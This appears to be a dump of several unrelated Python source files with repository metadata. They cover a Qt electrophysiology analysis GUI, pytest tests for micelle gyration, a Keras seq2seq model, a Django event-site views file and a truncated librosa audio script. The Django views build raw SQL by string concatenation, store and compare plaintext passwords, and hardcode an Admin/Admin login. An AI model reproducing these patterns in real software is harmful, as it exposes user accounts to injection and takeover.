destroyErrorMsg = Signal()\n destroyErrorInputField = Signal()\n destroyGenPtn = Signal(bool)\n destroyColorPicker = Signal()\n emitRegions = Signal(str)\n disableRun = Signal()\n enableRun = Signal()\n emitProgressBar = Signal(float)\n emitInputFieldError = Signal(int)\n emitInputFieldSuccess = Signal(int)\n successDialog = Signal(str)\n analysisError = Signal(str)\n updateDirectory = Signal(str)\n emitStartUp = Signal()\n startUpDrugName = Signal(str)\n startUpTraceNumber = Signal(str)\n startUpGenPtn = Signal(int)\n startUpNewRegion = Signal(int)\n startupClearRegions = Signal()\n startUpClearInputFields = Signal()\n startUpMenuDropDown = Signal(int)\n welcomeToEphysAnalyzer = Signal()\n starting_animation_time = 0.2\n object_animation_time = 0.1\n\n @Slot()\n def change_default_directory(self):\n new_dir = QFileDialog.getExistingDirectory()\n if new_dir != \"\":\n return self.updateDirectory.emit(f\"{new_dir}/\")\n\n @Slot(str)\n def open_files_saved(self, directory):\n if os.name == 'nt':\n subprocess.Popen(rf'explorer /open,{directory}')\n else:\n subprocess.run(['open', f'{directory}'], check=True)\n\n @Slot(str)\n def emit_region(self, region):\n self.emitRegions.emit(region)\n\n @Slot(list, float, bool, bool, int, str, str, int, str, list, bool, int, bool, str)\n def run_analyze_data(self, files, z_limit, z_checking, baseline, baseline_int, color_regions_dict, default_color, dpi, baseline_color, axis_limits, single, graph_format, use_custom_directory, custom_directory):\n color_regions_dict = json.loads(color_regions_dict) # Convert string back to dictioanry\n if color_regions_dict == {}:\n color_regions_dict = {'0': [-10, -5, 'grey'], '1': [-5, 0, 'black'], '2': [0, 5, 'grey'], '3': [5, 10, 'purple'], '4': [10, 15, 'green'], '5': [15, 20, 'blue'], '6': [20, 25, 'orange'], '7': [25, 30, 'red']}\n if single == True:\n for i in range(len(color_regions_dict)):\n color_regions_dict[str(i)][2] = default_color\n analysis = StartAnalysis(files, z_limit, z_checking, baseline, baseline_int, color_regions_dict, default_color, dpi, baseline_color, axis_limits, graph_format, use_custom_directory, custom_directory)\n analysis.start()\n\n @Slot()\n def run_starting_animation(self):\n starting_animation = StartingAnimation()\n starting_animation.start()\n\n @Slot()\n def adjust_region_height(self):\n self.adjustHeight.emit()\n\n @Slot(list)\n def create_objects(self, selected_files):\n input_fields = InputFields(selected_files)\n input_fields.start()\n\n @Slot(int, int, int)\n def run_generate_pattern(self, every_minutes, start_time, end_time):\n generate_pattern = GeneratePattern(every_minutes, start_time, end_time)\n generate_pattern.start()\n\n @Slot(str)\n def destroy_error_msg(self, string):\n error_message = ErrorMessage(string)\n error_message.start()\n\n @Slot()\n def disable_run_button(self):\n self.disableRun.emit()\n\n @Slot()\n def enable_run_button(self):\n self.enableRun.emit()\n\n @Slot(int)\n def start_up(self, num):\n start_up = StartUp(num)\n start_up.start()\n\nclass StartAnalysis(Thread):\n def __init__(self, file, z_limit, z_checking, baseline, baseline_int, color_regions_dict, default_color, dpi, baseline_color, axis_limits, graph_format, use_custom_directory, custom_directory):\n super(StartAnalysis, self).__init__()\n self.files = file\n self.z_limit = z_limit\n self.z_checking = z_checking\n self.baseline = baseline\n self.baseline_int = baseline_int\n self.color_regions_dict = color_regions_dict\n self.default_color = default_color\n self.dpi = dpi\n self.baseline_color = baseline_color\n self.axis_limits = axis_limits\n self.graph_format = graph_format\n self.use_custom_directory = use_custom_directory\n self.custom_directory = custom_directory\n\n\n def run(self):\n backend.emitProgressBar.emit(0/len(self.files)*100)\n if self.graph_format == 0:\n self.graph_format = \"png\"\n elif self.graph_format == 1:\n self.graph_format = \"pdf\"\n for i in range(len(self.files)):\n analysis = Analysis()\n try:\n if self.use_custom_directory:\n analysis.mkdir_outputs(self.custom_directory, self.use_custom_directory)\n else:\n analysis.mkdir_outputs(self.files[i][0], self.use_custom_directory)\n analysis.mkdir(self.files[i][0])\n analysis.analyze_data(self.files[i][0], self.files[i][1], trunc(self.files[i][2]), [trunc(x) for x in self.files[i][3]], self.z_limit, self.z_checking, self.baseline_int, self.color_regions_dict, self.default_color)\n analysis.make_graphs(self.dpi, self.baseline, self.baseline_color, self.axis_limits, self.graph_format)\n backend.emitProgressBar.emit((i+1)/len(self.files)*100)\n backend.emitInputFieldSuccess.emit(i)\n except Exception as ex:\n backend.analysisError.emit(f\"{os.path.basename(self.files[i][0])} Error: {str(ex)}.\\nCheck trace number.\")\n backend.emitInputFieldError.emit(i)\n directory = analysis.return_directory()\n time.sleep(0.1)\n backend.successDialog.emit(directory)\n\nclass StartUp(Thread):\n def __init__(self, num):\n super(StartUp, self).__init__()\n self.num = num\n\n def run(self):\n if self.num == 2:\n time.sleep(0.4)\n backend.emitStartUp.emit()\n elif self.num == 4:\n time.sleep(0.1)\n backend.startUpDrugName.emit(\"S\")\n time.sleep(0.1)\n backend.startUpDrugName.emit(\"SN\")\n time.sleep(0.1)\n backend.startUpDrugName.emit(\"SNA\")\n time.sleep(0.1)\n backend.startUpDrugName.emit(\"SNAP\")\n time.sleep(0.1)\n backend.startUpTraceNumber.emit(\"6\")\n time.sleep(0.1)\n backend.startUpTraceNumber.emit(\"68\")\n time.sleep(0.25)\n backend.emitStartUp.emit()\n elif self.num == 6:\n for i in range(10):\n time.sleep(0.175)\n backend.startUpGenPtn.emit(i)\n time.sleep(0.25)\n backend.emitStartUp.emit()\n elif self.num == 8:\n time.sleep(0.25)\n backend.startupClearRegions.emit()\n for i in range(20):\n time.sleep(0.175)\n backend.startUpNewRegion.emit(i)\n time.sleep(0.25)\n backend.emitStartUp.emit()\n elif self.num == 15:\n for i in range(8):\n time.sleep(0.25)\n if i != 5:\n backend.emitInputFieldSuccess.emit(i)\n else:\n backend.emitInputFieldError.emit(i)\n backend.emitStartUp.emit()\n elif self.num == 17:\n backend.startUpClearInputFields.emit()\n backend.startupClearRegions.emit()\n backend.startUpNewRegion.emit(123)\n elif self.num == 18:\n for i in range(5):\n time.sleep(0.2)\n backend.startUpMenuDropDown.emit(i)\n backend.emitStartUp.emit()\n elif self.num == 23:\n backend.emitStartUp.emit()\n elif self.num == 24:\n backend.startUpClearInputFields.emit()\n backend.startupClearRegions.emit()\n backend.startupClearRegions.emit()\n time.sleep(1.5)\n backend.welcomeToEphysAnalyzer.emit()\n time.sleep(0.25)\n backend.emitStartUp.emit()\n \n\n\nclass StartingAnimation(Thread):\n def run(self):\n time.sleep(backend.starting_animation_time)\n backend.emitStartUp.emit()\n backend.starting_animation_time = 0\n for i in range(9):\n time.sleep(backend.object_animation_time)\n backend.animateObject.emit(i)\n backend.object_animation_time = 0.04\n\nclass InputFields(Thread):\n def __init__(self, selected_files):\n super(InputFields, self).__init__()\n self.selected_files = selected_files\n\n def run(self):\n for i in range(len(self.selected_files)):\n time.sleep(0.03)\n backend.addObject.emit(self.selected_files[i])\n\nclass GeneratePattern(Thread):\n def __init__(self, every_minutes, start_time, end_time):\n super(GeneratePattern, self).__init__()\n self.every_minutes = every_minutes\n self.start_time = start_time\n self.end_time = end_time\n \n def run(self):\n greater_than = self.start_time\n for i in range(int(abs(self.start_time - self.end_time) / self.every_minutes)):\n time.sleep(0.05)\n less_than = greater_than + self.every_minutes\n backend.newRegion.emit(str(greater_than), str(less_than))\n greater_than = less_than\n backend.destroyGenPtn.emit(False)\n\nclass ErrorMessage(Thread):\n def __init__(self, string):\n super(ErrorMessage, self).__init__()\n self.string = string\n \n def run(self):\n if self.string == \"region\":\n time.sleep(1)\n backend.destroyMsg.emit()\n elif self.string == \"settings\":\n time.sleep(2)\n backend.destroyErrorMsg.emit()\n elif self.string == \"fields\":\n time.sleep(3)\n backend.destroyErrorInputField.emit()\n elif self.string == \"generate\":\n time.sleep(1)\n backend.destroyGenPtn.emit(True)\n elif self.string == \"colorpicker\":\n time.sleep(1)\n backend.destroyColorPicker.emit()\n \n\n\nif __name__ == \"__main__\":\n QtCore.QCoreApplication.setAttribute(QtCore.Qt.AA_ShareOpenGLContexts)\n app = QApplication(sys.argv)\n app.setOrganizationName(\"Washington State University\")\n app.setOrganizationDomain(\"github.com/EricJamesCrow/E-PhysAnalyzer\")\n app.setApplicationName(\"E-PhysAnalyzer\")\n app.setWindowIcon(QIcon(\"images/activity.png\"))\n engine = QQmlApplicationEngine()\n backend = Backend()\n engine.rootContext().setContextProperty(\"backend\", backend)\n engine.load(os.fspath(Path(__file__).resolve().parent / \"qml/main.qml\"))\n if not engine.rootObjects():\n sys.exit(-1)\n sys.exit(app.exec_())\n","repo_name":"EricJamesCrow/E-PhysAnalyzer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11170,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"31298108203","text":"import MDAnalysis as mda\nfrom clustercode import ClusterEnsemble\nfrom pytest import approx\nimport pytest\nimport numpy as np\n\n# The trajectory includes a large single micelles split across mutliple PBCs\n# It was pretreated with gmx trjconv -pbc atom\ntpr = \"clustercode/tests/cluster/files/topol_no_solv.tpr\"\ntraj = \"clustercode/tests/cluster/files/traj_pbc_problematic_atom.xtc\"\n# traj = \"clustercode/tests/cluster/files/traj_pbc_problematic_cluster.xtc\"\nclstr = ClusterEnsemble(tpr, traj, [\"C1\", \"C2\", \"C3\", \"C4\"])\nAtomClstr = ClusterEnsemble(tpr, traj, [\"C1\", \"C2\", \"C3\", \"C4\"])\nclstr.cluster_analysis()\nAtomClstr.cluster_analysis(work_in=\"Atom\")\n\n# gmx gyrate -f traj_pbc_problematic_cluster.xtc -s topol_no_solv.tpr -p yes\ngmx_gyrate = [\n [3.28795, 1.86045, 2.97682, 3.04934],\n [3.22206, 1.86464, 2.9183, 2.96141],\n [3.20438, 1.89937, 2.8877, 2.93081],\n [3.17957, 1.90879, 2.83768, 2.91949],\n [3.17345, 1.86303, 2.87302, 2.90112],\n [3.19677, 1.83934, 2.91293, 2.92753],\n]\ngmx_principal = [\n [3.50891250, 8.983379375, 9.426435000],\n [3.52470625, 8.633655000, 8.890634375],\n [3.65722625, 8.453534375, 8.707842500],\n [3.69359125, 8.163197500, 8.640699375],\n [3.51862312, 8.367801875, 8.532266875],\n [3.42970875, 8.601878750, 8.688352500],\n]\ngmx_gyrate_cmct = [\n [3.11579, 1.66664, 2.85055, 2.91769],\n [3.03193, 1.66153, 2.77456, 2.81538],\n [3.00879, 1.70063, 2.73858, 2.77734],\n [2.98037, 1.70727, 2.68214, 2.76705],\n [2.97118, 1.66493, 2.71059, 2.74528],\n [3.00965, 1.62916, 2.77346, 2.78743],\n]\n\n\nclass TestGyration:\n def test_mass_weighted_rgyr(self):\n \"\"\"\n This test checks if the result for the radius of gyration calculation\n after a cluster finding and unwrapping of the cluster is the same\n as observed with gmx gyrate -p yes.\n Accuracy is 0.0005nm\n \"\"\"\n for clusters, their_gyrate in zip(clstr.cluster_list, gmx_gyrate):\n for cluster in clusters:\n clstr.unwrap_cluster(cluster)\n our_gyrate = clstr.rgyr(cluster, mass=True, components=True, pca=True)\n for item, other_item in zip(their_gyrate, our_gyrate):\n assert item == approx(other_item, abs=5e-4)\n\n def test_moment_of_inertia(self):\n \"\"\"\n This test checks if the result for the inertia tensor is the same\n than in gromacs. There is a relatively high deviation of up to\n 0.13 units.\n % WHAT ARE THE UNITS? WHY DO WE DIVIDE BY THE MASS IN .inertia_tensor()?\n \"\"\"\n for clusters, their_inertia in zip(clstr.cluster_list, gmx_principal):\n for cluster in clusters:\n clstr.unwrap_cluster(cluster)\n our_inertia = clstr.inertia_tensor(cluster)\n for item, other_item in zip(our_inertia, their_inertia):\n assert item == approx(other_item, abs=0.13)\n\n @pytest.mark.xfail(\n reason=\"rgyr was only coded for Residuegroups\",\n )\n def test_calc_rgyr_work_in_atomistic_quali(self):\n for clusters in AtomClstr.cluster_list:\n for cluster in clusters:\n clstr.unwrap_cluster(cluster)\n _ = clstr.rgyr(cluster, mass=True, components=True, pca=True)\n\n @pytest.mark.xfail(\n reason=\"rgyr was only coded for Residuegroups\",\n )\n def test_calc_rgyr_work_in_atomistic_quanti(self):\n \"\"\"\n This test checks if the result for the radius of gyration calculation\n after a cluster finding and unwrapping of the cluster is the same\n as observed with gmx gyrate -p yes. Only looking at carbon atoms.\n Accuracy is 0.0005nm\n \"\"\"\n for clusters, their_gyrate in zip(AtomClstr.cluster_list, gmx_gyrate_cmct):\n for cluster in clusters:\n clstr.unwrap_cluster(cluster)\n our_gyrate = clstr.rgyr(cluster, mass=True, components=True, pca=True)\n for item, other_item in zip(their_gyrate, our_gyrate):\n assert item == approx(other_item, abs=5e-4)\n\n def test_rg_princ(self):\n \"\"\"\n check if radius of gyration is the same for pca and not pca\n \"\"\"\n for clusters in clstr.cluster_list:\n for cluster in clusters:\n clstr.unwrap_cluster(cluster)\n rg_comp = clstr.rgyr(cluster, mass=True, pca=False, components=True)\n rg_pca_comp = clstr.rgyr(cluster, mass=True, pca=True, components=True)\n rg = clstr.rgyr(cluster, mass=True, pca=False, components=False)\n assert rg == approx(rg_pca_comp[0])\n assert rg == approx(rg_comp[0])\n\n def test_rg_gyration(self):\n \"\"\"\n Test if rgyr() and gyration() fullfill some of their dependencies\n for a real world example.\n rg^2 - gyr_x = rg_x (same with y,z)\n gyr_y + gyr_z = rg_x\n rg^2 = sum(gyr)\n \"\"\"\n for clusters in clstr.cluster_list:\n for cluster in clusters:\n clstr.unwrap_cluster(cluster)\n rg_pca = clstr.rgyr(cluster, mass=True, pca=True, components=True)\n gyr_pca = clstr.gyration(cluster, mass=True, pca=True)\n rg_pca = list(map(lambda x: x * x, rg_pca))\n assert rg_pca[1] == approx(rg_pca[0] - gyr_pca[0])\n assert rg_pca[1] == approx(sum(gyr_pca[1:]))\n assert rg_pca[2] == approx(gyr_pca[0] + gyr_pca[2])\n assert rg_pca[3] == approx(gyr_pca[0] + gyr_pca[1])\n\n\n# TestGyration().test_moment_of_inertia()\n","repo_name":"MatKie/clustercode","sub_path":"clustercode/tests/cluster/test_gyr.py","file_name":"test_gyr.py","file_ext":"py","file_size_in_byte":5584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18861603282","text":"from keras.models import Model\nfrom keras.layers import Input, Dense, LSTM, Bidirectional, Dropout, Embedding, Lambda\n\n'''\n\tseq_shape: (max_len, veclen) = (13, 100)\n\tnum_words: Number of word choices\n'''\ndef seq2seq(seqlen, num_words, wordvec, onehot, latent_dim=512, batch=64):\n\tnum_wordvec, veclen = wordvec.shape\n\tembedding = Embedding(num_wordvec, veclen, weights=[wordvec], trainable=False, mask_zero=True)\n\n\tonehot_embedding = Embedding(num_words, num_words, weights=[onehot], trainable=False, mask_zero=True)\n\n\t# Encoding\n\te_input = Input(batch_shape=(batch, seqlen))\n\tencoder_input = embedding(e_input)\n\tencoder = LSTM(latent_dim, return_state=True, stateful=True)\n\tencoded, state_h, state_c = encoder(encoder_input)\n\tencoder_state = [state_c, state_h]\n\n\t# Decoding\n\td_input = Input(batch_shape=(batch, seqlen+1))\n\tdecoder_input = onehot_embedding(d_input)\n\tdecoder = LSTM(latent_dim, return_sequences=True, return_state=True)\n\tdecoded, _, _ = decoder(decoder_input, initial_state=encoder_state)\n\toutput = Dense(num_words, activation='softmax')(decoded)\n\toutput = Lambda(lambda x: x[:, :-1, :])(output)\n\t\n\tmodel = Model([e_input, d_input], output)\n\tmodel.compile(optimizer='adam', loss='categorical_crossentropy')\n\tmodel.summary()\n\treturn model\n","repo_name":"eric11220/ML2017FALL","sub_path":"conversation/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26401799712","text":"from django.shortcuts import render\nfrom django.shortcuts import render, redirect\nfrom django.views.generic import View\nfrom django.http import HttpResponse\nfrom .models import *\nfrom .forms import *\nfrom django.contrib import messages\n\nuniuser=None\n\n\nclass DashboardView(View):\n\n\tdef get(self, request):\n\t\tusername = uniuser()\n\t\tuserinfo = User.objects.raw('SELECT * From user,participants where participants.user_id =\"'+username+'\"and user.username = participants.user_id')\n\t\tparticipant = Participants.objects.all()\n\t\ttest = User.objects.raw('SELECT * FROM user,userrequest WHERE user.username = \"'+ username +'\" and user.username = userrequest.user_id')\n\t\ttest2 = User.objects.raw('SELECT * FROM user,organizer,event,userrequest WHERE user.username = \"'+ username +'\" and user.username = userrequest.user_id and user.username = organizer.user_id and organizer.organizerID = event.organizer_id and event.isCancelled != 1')\n\t\tevent = Event.objects.raw('SELECT * FROM user,organizer,event,userrequest WHERE user.username != \"'+ username +'\" and user.username = userrequest.user_id and user.username = organizer.user_id and organizer.organizerID = event.organizer_id and event.isCancelled != 1')\n\t\tcontext = {\n\t\t\t\t'userinfo' : test,\n\t\t\t\t'tests': test2,\n\t\t\t\t'events': event,\n\t\t\t\t'participants': participant,\n\t\t\t\t'currentUsers': userinfo\n\t\t\t}\n\n\t\treturn render(request,'METROEVENT_dashboard2.html',context)\n\n\tdef post(self, request):\n\t\tif request.method == 'POST':\n\t\t\tif 'btnUpdate' in request.POST:\n\t\t\t\tprint('update profile button clicked')\n\n\t\t\t\tuname = request.POST.get(\"username\")\n\t\t\t\tfname = request.POST.get(\"first_name\")\n\t\t\t\tmname = request.POST.get(\"middle_name\")\n\t\t\t\tlname = request.POST.get(\"last_name\")\n\t\t\t\teml = request.POST.get(\"email\")\n\t\t\t\tgdr = request.POST.get(\"gender\")\n\t\t\t\tbirth = request.POST.get(\"bday\")\n\t\t\t\tpword = request.POST.get(\"password\")\n\n\t\t\t\tupdate_user = User.objects.filter(username = uname).update(firstname = fname, middlename = mname, lastname = lname, emailAddress = eml, gender = gdr, birthdate = birth, password = pword)\n\t\t\t\tmessages.success(request, 'User Info has been Updated')\n\t\t\t\t\n\t\t\t\tglobal uniuser\n\t\t\t\tdef uniuser():\n\t\t\t\t\treturn uname\n\t\t\t\treturn redirect('User:dashboard_view')\n\n\t\t\telif 'btnDelete' in request.POST:\n\t\t\t\tuid = request.POST.get(\"userid\")\n\t\t\t\tusers = User.objects.filter(username=uniuser()).delete()\n\t\t\t\tmessages.success(request, 'Account has been Deleted')\n\t\t\t\treturn redirect('User:landing_view')\n\t\t\t\n\t\t\telif 'btnOrganizer' in request.POST:\n\t\t\t\ttry:\n\t\t\t\t\tUserdetails = UserRequest.objects.get(user_id=uniuser(),isApprove = 2)\n\t\t\t\t\tmessages.success(request, 'You already sent a request!')\n\t\t\t\t\treturn redirect('User:dashboard_view')\n\t\t\t\t\n\t\t\t\texcept UserRequest.DoesNotExist:\n\t\t\t\t\trequestInstance = UserRequest.objects.filter(user_id = uniuser(), isApprove = 0).update(isApprove = 2)\n\t\t\t\t\tmessages.success(request, 'Succesfully Requested')\n\t\t\t\t\treturn redirect('User:dashboard_view')\n\n\t\t\telif 'btnCreateEvent'in request.POST:\n\t\t\t\treturn redirect('User:event_view')\n\n\t\t\telif 'btnCancel' in request.POST:\n\t\t\t\thiddenID = request.POST.get(\"hiddenID\")\n\t\t\t\teventPP = Participants.objects.filter(event_id = hiddenID)\n\n\t\t\t\tdeleteEvent = Event.objects.filter(eventID = hiddenID).update(isCancelled = 1)\n\t\t\t\tfor participants in eventPP:\n\t\t\t\t\tprint(\"test\")\n\t\t\t\t\tnotificationCancel = Notification.objects.create(notificationSubject = \"Cancelled!\",notificationContent = \"We are sorry to announce that this event has been cancelled!\",event_id = hiddenID,user_id = participants.user_id)\n\t\t\t\t\n\t\t\t\treturn redirect('User:dashboard_view')\n\t\t\telif 'btnJoin' in request.POST:\n\t\t\t\ttry:\n\t\t\t\t\thiddenID = request.POST.get(\"hiddenID1\")\n\t\t\t\t\t#eventName = Event.objects.get(eventID = hiddenID)\n\t\t\t\t\tparticipants = Participants.objects.get(event_id = hiddenID,user_id = uniuser())\n\t\t\t\t\tmessages.success(request, 'You already joined this event')\n\t\t\t\t\treturn redirect('User:dashboard_view')\n\n\t\t\t\texcept Participants.DoesNotExist:\n\t\t\t\t\thiddenID = request.POST.get(\"hiddenID1\")\n\t\t\t\t\tprint(hiddenID)\n\t\t\t\t\tprint(uniuser())\n\t\t\t\t\tparticipateEvent = Participants.objects.create(event_id = hiddenID, user_id = uniuser())\n\t\t\t\t\tcountParticipant = Participants.objects.filter(event_id = hiddenID).count()\n\t\t\t\t\tupdateParticipants = Event.objects.filter(eventID = hiddenID).update(eventParticipants = countParticipant)\n\t\t\t\t\tnotification = Notification.objects.create(notificationSubject = \"Welcome!\", notificationContent = \"Thank you for joining this event, hope you will enjoy!\",event_id = hiddenID, user_id = uniuser())\n\t\t\t\t\tmessages.success(request, 'Successfully joined')\n\t\t\t\t\treturn redirect('User:dashboard_view')\t\n\t\t\telif 'btnTest'in request.POST:\n\t\t\t\t\n\t\t\t\treturn redirect('User:landing_view')\n\t\t\t\t\n\n\t\t\t\t\n\t\t\n\n\t\t\t'''elif 'btnActivate' in request.POST:\n\t\t\t\tuid = request.POST.get(\"userid\")\n\t\t\t\tusers = User.objects.filter(id=uid).update(Status = \"Active\")\n\t\t\t\tmessages.success(request, 'User has been Active')\n\t\t\t\treturn redirect('UI:dashboard_view')'''\n\n\t\t\t\n\n\t\n\nclass LandingPageView(View):\n\tdef get(self, request):\n\t\treturn render(request, 'METROEVENT_landingPage2.html')\n\n\tdef post(self, request):\n\t\tform = UserForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tif 'btnRegister' in request.POST:\n\t\t\t\tuname = request.POST.get(\"UserName\")\n\t\t\t\tfname = request.POST.get(\"FirstName\")\n\t\t\t\tlname = request.POST.get(\"LastName\")\n\t\t\t\tmname = request.POST.get(\"MiddleName\")\n\t\t\t\tpword = request.POST.get(\"Password\")\n\t\t\t\tgender1 = request.POST.get(\"Gender\")\n\t\t\t\temailAdd = request.POST.get(\"Email\")\n\t\t\t\tbdate = request.POST.get(\"Birthdate\")\n\t\t\t\ttry:\n\t\t\t\t\tUserdetails = User.objects.get(username=uname)\n\t\t\t\t\tmessages.success(request, 'Username already Exist, Try another Username')\n\t\t\t\t\treturn redirect('User:landing_view')\n\n\t\t\t\texcept User.DoesNotExist:\n\t\t\t\t\tform = User(username = uname, firstname = fname, middlename = mname, lastname = lname, password = pword, emailAddress = emailAdd, gender = gender1, birthdate = bdate)\n\t\t\t\t\tform.save()\n\t\t\t\t\tapprove = UserRequest.objects.create(user_id = uname, isApprove = 0)\n\t\t\t\t\tmessages.success(request, 'User '+ uname +' was registered successfully!')\n\t\t\t\t\treturn redirect('User:landing_view')\n\n\t\t\telif 'Loginclick' in request.POST:\n\t\t\t\tif request.POST['usern'] == \"Admin\" and request.POST['passw'] == \"Admin\":\n\t\t\t\t\t\treturn redirect('Admin:dashboard_view')\n\t\t\t\telse:\t\t\n\t\t\t\t\ttry:\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tUserdetails = User.objects.get(username=request.POST['usern'],password=request.POST['passw'])\n\t\t\t\t\t\trequest.session['usern']=Userdetails.username\n\t\t\t\t\t\trequest.session['passw']=Userdetails.password\n\t\t\t\t\t\tuser = Userdetails.username\n\t\t\t\t\t\tglobal uniuser\n\t\t\t\t\t\tdef uniuser():\n\t\t\t\t\t\t\treturn user\n\n\t\t\t\t\t\treturn redirect('User:dashboard_view')\n\t\t\t\t\t\t\n\t\t\t\t\texcept User.DoesNotExist:\n\t\t\t\t\t\tmessages.success(request, 'Invalid Account, Please Enter a Valid account')\n\t\t\t\t\t\treturn redirect('User:landing_view')\n\t\telse:\n\t\t\treturn HttpResponse('not valid')\n\nclass EventView(View):\n\tdef get(self, request):\n\t\treturn render(request, 'METROEVENT_event.html')\n\n\tdef post(self, request):\n\t\tform = EventForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tif 'btnCreate' in request.POST:\n\t\t\t\teventName1 = request.POST.get(\"eventname\")\n\t\t\t\teventDate1 = request.POST.get(\"eventdate\")\n\t\t\t\torganizer = Organizer.objects.get(user_id = uniuser())\n\t\t\t\teventInstance = Event.objects.create(organizer_id = organizer.organizerID, eventName = eventName1, eventDate = eventDate1, eventParticipants = 0)\n\t\t\t\tmessages.success(request, 'Successfully created an Event')\n\t\t\t\treturn redirect('User:dashboard_view')\n\nclass NotificationView(View):\n\tdef get(self, request):\n\t\tmessage = Notification.objects.raw('Select * from event,notification where user_id = \"'+uniuser()+'\" and event.eventID = notification.event_id')\n\t\t#message = Notification.objects.filter(user_id = uniuser())\n\t\tcontext={\n\t\t\t'messages':message\n\t\t}\n\t\treturn render(request, 'Notification.html',context)\n\n\tdef post(self, request):\n\t\tform = NotificationForm(request.POST)\n\t\tif form.is_valid():\n\t\t\t\n\t\t\t\treturn redirect('User:notification_view')\n\n\t\t\t\n\n\t\t\t\n\n\n","repo_name":"rodel250/G12-MetroEvent","sub_path":"User/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38748471998","text":"import librosa\r\nimport librosa.display\r\nimport plotly.express as px\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score\r\n\r\naudio_path1 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/co1.wav'\r\naudio_path2 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/khong1.wav'\r\naudio_path3 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/co2.wav'\r\naudio_path4 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/khong2.wav'\r\naudio_path5 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/co3.wav'\r\naudio_path6 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/khong3.wav'\r\naudio_path7 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/co4.wav'\r\naudio_path8 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/khong4.wav'\r\naudio_path9 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/co5.wav'\r\naudio_path10 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/khong5.wav'\r\naudio_path11 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/co6.wav'\r\naudio_path12 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/khong6.wav'\r\naudio_path13 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/co7.wav'\r\naudio_path14 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/khong7.wav'\r\naudio_path15 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/co8.wav'\r\naudio_path16 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/khong8.wav'\r\naudio_path17 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/co9.wav'\r\naudio_path18 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/khong9.wav'\r\naudio_path19 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/co10.wav'\r\naudio_path20 = '/Users/admin/Documents/GitHub/DSP-Project/recordings/khong10.wav'\r\n\r\n# Load audio files\r\naudio1, sr1 = librosa.load(audio_path1)\r\naudio2, sr2 = librosa.load(audio_path2)\r\naudio3, sr3 = librosa.load(audio_path3)\r\naudio4, sr4 = librosa.load(audio_path4)\r\naudio5, sr5 = librosa.load(audio_path5)\r\naudio6, sr6 = librosa.load(audio_path6)\r\naudio7, sr7 = librosa.load(audio_path7)\r\naudio8, sr8 = librosa.load(audio_path8)\r\naudio9, sr9 = librosa.load(audio_path9)\r\naudio10, sr10 = librosa.load(audio_path10)\r\naudio11, sr11 = librosa.load(audio_path11)\r\naudio12, sr12 = librosa.load(audio_path12)\r\naudio13, sr13 = librosa.load(audio_path13)\r\naudio14, sr14 = librosa.load(audio_path14)\r\naudio15, sr15 = librosa.load(audio_path15)\r\naudio16, sr16 = librosa.load(audio_path16)\r\naudio17, sr17 = librosa.load(audio_path17)\r\naudio18, sr18 = librosa.load(audio_path18)\r\naudio19, sr19 = librosa.load(audio_path19)\r\naudio20, sr20 = librosa.load(audio_path20)\r\n\r\n# Compute the Short-Time Fourier Transform (STFT)\r\nstft1 = librosa.stft(audio1)\r\nstft2 = librosa.stft(audio2)\r\nstft3 = librosa.stft(audio3)\r\nstft4 = librosa.stft(audio4)\r\nstft5 = librosa.stft(audio5)\r\nstft6 = librosa.stft(audio6)\r\n\r\n# Convert to spectrogram\r\nspectrogram1 = np.abs(stft1)\r\nspectrogram2 = np.abs(stft2)\r\nspectrogram3 = np.abs(stft3)\r\nspectrogram4 = np.abs(stft4)\r\nspectrogram5 = np.abs(stft5)\r\nspectrogram6 = np.abs(stft6)\r\n\r\n# Compute Mel spectrogram\r\nmel_spec1 = librosa.feature.melspectrogram(S=spectrogram1, sr=sr1)\r\nmel_spec2 = librosa.feature.melspectrogram(S=spectrogram2, sr=sr2)\r\nmel_spec3 = librosa.feature.melspectrogram(S=spectrogram3, sr=sr3)\r\nmel_spec4 = librosa.feature.melspectrogram(S=spectrogram4, sr=sr4)\r\nmel_spec5 = librosa.feature.melspectrogram(S=spectrogram5, sr=sr5)\r\nmel_spec6 = librosa.feature.melspectrogram(S=spectrogram6, sr=sr6)\r\nmel_spec7 = librosa.feature.melspectrogram(S=spectrogram1, sr=sr7)\r\nmel_spec8 = librosa.feature.melspectrogram(S=spectrogram2, sr=sr8)\r\nmel_spec9 = librosa.feature.melspectrogram(S=spectrogram3, sr=sr9)\r\nmel_spec10 = librosa.feature.melspectrogram(S=spectrogram4, sr=sr10)\r\nmel_spec11 = librosa.feature.melspectrogram(S=spectrogram5, sr=sr11)\r\nmel_spec12 = librosa.feature.melspectrogram(S=spectrogram6, sr=sr12)\r\nmel_spec13 = librosa.feature.melspectrogram(S=spectrogram1, sr=sr13)\r\nmel_spec14 = 